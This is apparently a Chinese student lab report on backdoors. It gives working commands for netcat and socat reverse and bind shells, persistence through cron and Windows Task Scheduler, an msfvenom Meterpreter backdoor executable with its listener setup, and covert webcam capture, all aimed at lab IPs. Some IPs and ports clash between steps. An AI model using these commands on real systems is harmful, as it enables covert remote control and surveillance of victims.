后门原理与实践
作者：互联网
实验内容
-
1.使用netcat获取主机操作Shell，cron启动
-
2.使用socat获取主机操作Shell, 任务计划启动
-
3.使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell
-
4.使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权
-
5.可选加分内容：使用MSF生成shellcode,注入到实践1中的pwn1中，获取反弹连接Shell
一、使用netcat获取主机操作Shell，启动cron
主机IP：192.168.3.103
虚拟机kali的IP：192.168.226.137
虚拟机可以ping通主机
主机ping虚拟机发现TTL过期
修改服务
然后成功ping通虚拟机
使用netcat获取主机操作Shell，启动cron
在主机中获取虚拟机shell,虚拟机中使用nc 192.168.1.105（主机IP） 1304 -e /bin/sh连接主机反弹shell
成功getshell
在虚拟机中获取主机shell
在主机中用ncat -e cmd 192.168.226.137 1304，成功获取到主机shell
在虚拟机中启动cron并在主机监听,先在虚拟机上用crontab -e指令编辑一条定时任务（crontab指令增加一条定时任务，-e表示编辑，输入2表示选择vim编辑器）在最后一行添加24 * * * * nc 192.168.3.103 1304 -e /bin/sh，即在每个小时的第24分钟反向连接Windows主机的1304端口
等到每小时的24分，在ip地址为192.168.3.103的主机端用ncat -l -p 1304打开监听即可
二、使用socat获取主机操作Shell，任务计划启动
在Kali中用man socat查看使用说明
在Windows中按Win+R，再输入compmgmt.msc打开计算机管理
在系统工具中的任务计划程序中创建任务，设置任务名称，新建触发器
新建操作，操作设置为启动程序socat.exe，并添加参数tcp-listen:1304 exec:cmd.exe,pty,stderr，这个命令的作用是把cmd.exe绑定到端口1304，同时把cmd.exe的stderr重定向
在Kali中输入命令socat - tcp:192.168.3.103:1304 成功获取Windows的Shell
三、使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell
主机IP发生了变化，依然ping的通
在Kali上生成后门可执行程序20191304_backdoor.exe
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.226.137 LPORT=1304 -f exe > 20191304_backdoor.exe，其中
- LHOST为反弹回连的IP，在这里是要反弹给Kali，也就是Kali的IP
- LPORT是回连的端口
- -p 使用的payload。
- payload翻译为有效载荷，就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
- -f 生成文件的类型
-
输出到哪个文件
在Windows上打开监听
在Kali上用nc 192.168.43.145 1304 < 20191304_backdoor.exe将生成的20191304_backdoor.exe后门程序传过去
在kali上使用msfconsole指令进入msf控制台
对msf控制台进行配置
依次输入以下命令
use exploit/multi/handler #使用监听模块，设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.174.141 #KaliIP，和生成后门程序时指定的IP相同
set LPORT 1218
接着输入exploit进行监听，在Windows在打开20191304_backdoor.exe后成功获取到Windows的shell
四、使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权
获取目标主机音频
输入webcam_snap指令控制摄像头进行拍照
标签：后门,1304,exe,主机,虚拟机,实践,192.168,获取,原理 来源： https://www.cnblogs.com/shoudeyunkaijianyueming/p/16089102.html